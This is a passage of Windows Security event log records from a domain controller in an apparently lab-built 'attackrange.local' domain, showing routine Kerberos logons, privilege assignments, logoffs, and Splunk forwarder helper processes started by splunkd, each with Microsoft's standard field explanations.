Source Network Address: ::1 - Source Port: 51319 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:05:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256201 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3CC912 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:06:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256204 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1120 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:06:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256206 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:06:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256205 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3a0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:06:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256208 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11f0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:06:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256207 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:06:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256209 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x328 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:06:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256210 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:06:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256214 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3CFF21 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:06:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256213 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3CFF21 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51334 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:06:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256212 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3CFF21 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:07:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256220 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D021A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:07:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256219 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3D021A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51338 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:07:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256218 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D021A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:07:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256217 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D01AE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:07:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256216 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3D01AE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51337 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:07:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256215 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D01AE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:07:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256221 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb44 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:07:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256234 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1370 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:07:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256233 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D0F0E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:07:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256232 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D101C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:07:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256231 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D1065 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:07:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256230 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3D10E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51342 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:07:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256229 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D10E7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:07:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256228 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3D1065 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 51341 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that 